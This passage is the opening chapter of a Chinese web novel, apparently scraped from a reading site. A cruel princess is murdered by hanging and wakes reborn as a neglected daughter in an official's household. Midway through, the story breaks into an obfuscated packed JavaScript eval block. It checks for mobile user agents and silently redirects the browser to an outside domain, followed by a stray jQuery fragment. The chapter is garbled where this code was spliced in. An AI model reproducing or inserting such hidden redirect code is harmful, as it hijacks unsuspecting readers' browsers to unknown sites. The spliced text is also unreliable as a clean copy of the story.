1. 重生(修)

作品:《万人嫌公主复活后

    荣和十九年。


    八月,中秋前夕。


    浓厚夜色下的京城热闹非凡,连一向冷清的清河巷也因出了一位连中三元的状元而活络起来。


    只有高墙绵延的清平街,还是如往日一般死寂。偶有马车过时传来“哒哒”的马蹄声,却也在一处华丽而庄重的府邸前缓下来,似乎生怕声音传入府内贵人的耳中,犯下不可饶恕的大罪。


    这座府邸坐落于清平街的最中央,正是当今圣上的三公主昭阳公主孟晚歌的公主府。


    府内雕梁画壁,水榭楼台,就算说是皇宫也无人质疑。


    抄手游廊上一行婢女垂首往前,脚步快而轻,整个公主府也如外面的街道一般寂静压抑。


    “殿下,时辰不早了。”一位身穿青色宫婢服的婢女推开府中东南角的一扇雕花门,垂首恭敬提醒里面的人。


    这是一间书房,书案前的女子正执笔在案上写下最后一笔抬起头来。


    那女子素白如玉的一张小脸,臻首娥眉,目若秋水,秀鼻挺翘,一抹红唇如含珠在内,一席鹅黄色的金丝绣蝶宫裙在一盏琉璃灯下,更是华丽端庄。


    当真是美艳不可方物,此人正是大名鼎鼎的昭阳公主。


    孟晚歌微蹙秀眉,门外的一众婢女见状连忙跪下去,浑身发颤大气都不敢出一口。


    只方才说话的婢女抬脚进屋,轻声劝道:“殿下,明日要参加宫宴,可不能再迟到了。”


    整个公主府,能这般跟孟晚歌说话的人,也只有她的贴身侍女如意了。


    “有什么好去的。”孟晚歌扔了笔,将刚刚在纸上写好的二字拎起来吹了吹,“不过又是去看他们阖家团圆,父慈子……”


    没等她的话说完,如意无奈地嗔了一声:“殿下。”


    “罢了罢了,我正好有事要找皇帝。”她说着又将手中已经吹干的字放到案上,起身往外走。


    二人出了门走上游廊,往孟晚歌的寝殿而去,一路上凡是遇到的婢女无不是跪地匍匐,若是得孟晚歌一眼,更是肩头轻颤恨不得钻进地底下。


    孟晚歌早已习惯,有时乐趣来了,还会顺便一脚踢翻她们跟前的物件。


    偶尔还能见到一两个婢女直接晕过去,仿若她能将她们都生吞了。


    “如意,你怎么不怕我?”孟晚歌坐在妆奁前,一边由着如意拆下发髻,一边看着镜子里的如意。


    只见如意垂眸,手中动作不停:“殿下是好人。”


    “好人?”孟晚歌仿佛听到了什么好笑的事,侧头看她,却没想到一用力让如意扯到了她的一缕头发。


    细密的疼从发顶传来,她还没来得及蹙眉便见如意“噗通”一声跪下。


    “殿下恕罪。”


    孟晚歌见她这样,便又想起廊下那几个瑟瑟发抖的婢女,目色不自觉暗下去。


    她微微弯身,一手搭在膝盖上,一手抬起如意的下巴。


    从她入宫那年开始,如意便一直跟在她身边,不仅替她挨过皇帝的板子,还为她哭为她笑过。


    “如意。”孟晚歌微微眯眼,指腹轻轻划过如意的下巴,轻声问道,“你也认为丽嫔是我杀的?”


    如意眼眸微颤:“奴婢信殿下。”


    孟晚歌盯着她半晌,最后放开她的下巴,回身继续看着镜子,慵声道:“继续吧。”


    她又何必执着呢。


    这满京城,满天下谁人不知道,她昭阳公主恶贯满盈,多如意一个又有什么关系。


    虽是这么想,临睡前她还是拉住了如意的手。


    如意并未想到她这个举动,有些诧异地低头看她,却见她打了个哈欠,闭眼倦声问道:“后日便是我的生辰了,你有没有什么想要的?”


    如意闻言一怔,她刚要回话便听到孟晚歌吐气轻匀,已经睡了过去。她只好将孟晚歌的手重新放回被子里,从寝殿轻脚退出去。


    八月十四的月亮已见圆,高挂枝头,看着竟也有些寂寥。


    公主府内一片静谧,无人在意到公主寝殿的一处窗户并未闭严。


    月色和秋风一起被送进寝殿内。


    一丝凉意令孟晚歌猛地惊醒,映入眼帘的却是下方的铜镜。借着月色,她清楚地看见铜镜中自己正高悬于梁上,双手被束在身后,口被白绫封住发不出一丝声响。


    她吓得瞪大眼睛,脚下一动,放置在她脚下的一方矮凳便倒到一边。


    “唔……唔……唔唔……”白绫迅速在颈下收紧,她痛苦地摇头却依旧发不出任何声音。


    是谁。


    谁竟然敢在公主府里杀她!


    谁来救救她啊。


    无论她如何挣扎都无济于事,窒息和疼痛感几乎令她失去意识,一寸一寸的绝望将她吞噬。


    疼啊。


    好疼啊——


    窗外依旧是皓月高挂,没有人知道公主寝殿中那抹绝望的身影渐渐、渐渐、渐渐没了生息。


    冬去春来一轮又一轮。


    荣和二十一年,十月寒露。


    苏州通判府上下一派喜气,无论是夫人小姐们还是底下的丫鬟侍从们,脸上都挂着笑。


    两两结伴,说起的都是通判郎温泽升迁入京事宜。


    唯独西北角的一处小院,人烟稀薄,无人问津。除了屋里点着的两根细烛,竟无一盏油灯。


    烛光幽幽,映在床上女子的脸上,更显她几分苍色。


    屋中陈设简单,老旧看不出年岁的桌椅与女子身下的架子床之间,仅用一架画了两笔花草的屏风相隔。若不是窗边的妆奁,任谁进来瞧了也不觉是温家小姐的闺阁。


    “疼——”床上女子梦呓一般,轻飘飘吐出一声。


    她额头上用面料粗糙的白布缠了几圈,一双柳叶弯眉紧紧拧到一起,仿若有道不出的苦楚。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14797226|158344||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    疼——


    好疼啊——


    孟晚歌只觉得自己浑身上下都疼,仿佛是有人要将她生生撕成碎片。


    不知道这么疼了多久,所有的痛楚好似都消失了。


    渐渐的。


    她像是被什么从高处扔了下去,似乎是砸到了脑袋。一股钻心的疼从脑袋上传来,让她忍不住倒吸一口气。


    睁开了眼睛。


    “小姐!您终于活过来了!”一道喜极而泣的声音在她耳边响起,听上去十分开心。


    开心?


    她孟晚歌死了,该人人欢庆,恨不得夜夜笙歌才是。


    这是哪儿来的不知天高地厚的小丫头,竟然会为了她活过来而开心。


    这般想着,孟晚歌侧头看向跪坐在床边的小丫鬟,只见这丫鬟顶着简单的双环髻,面容清秀中带着几分稚嫩,穿着一身说不出是浅蓝色还是浅灰色的侍女服。


    与公主府的其他婢女装扮格外不同。


    孟晚歌正要开口,只觉头顶一阵眩晕,她下意识抬手扶额,便摸到了额头上那块白布。


    粗糙得让她多摸一下都担心会划破手指。


    “小姐,都是奴婢没用。”小丫鬟说着便有两行清泪落下来。


    小姐?


    她是哪门子小姐。


    这到底是哪儿来的宫女……


    没等孟晚歌出声责问,她便先看清了屋中的景象。床边灰蒙蒙的帷幔被束在床沿,擦过床沿可以看到一旁小台子上的蜡烛已燃烧过半,窗外的风从缝隙中钻进来也带着那微弱的火苗晃了晃。


    这一屋子,说寒酸都不为过。


    而这时,孟晚歌才突然想起不久前她刚被人束住手脚悬于梁上,被活活吊死了。


    她已经死了。


    那眼下又是怎么回事?


    眼前这个陌生小丫头哭得真心实意,倒也不像是什么鬼差鬼使。


    以往吃了那么多次亏让她此刻不敢先开口说话,只是扶着疼痛地脑袋从床上爬了起来。见她这个动作,小丫鬟连忙也起身来扶,待她虚虚倚靠在床沿上才又收回手转身往外走。


    孟晚歌只见那小丫鬟一边绕过屏风一边道:“小姐您口渴了吧?奴婢给您倒杯水。”


    不时,那丫鬟倒了水回来,双手将白净的茶杯递到孟晚歌面前。


    没等孟晚歌接过来,屋外突然传来一道清丽的女声。


    “温宜秋死了没有啊?”


    端着茶杯的秋月手一抖,一张喜意的小脸瞬间白了,咬着唇抬眼看了孟晚歌一眼后转身站在了床前。在孟晚歌看来便像是一只想要保护小鸡的母鸡,就差没有展开双手了。


    温宜秋?


    这个熟悉的名字在孟晚歌脑子里过了一遍,她不由得微微睁大眼睛。


    若是她没有记错,她八岁前所待的那个温家,大房三姨娘所出庶女也叫这个名字。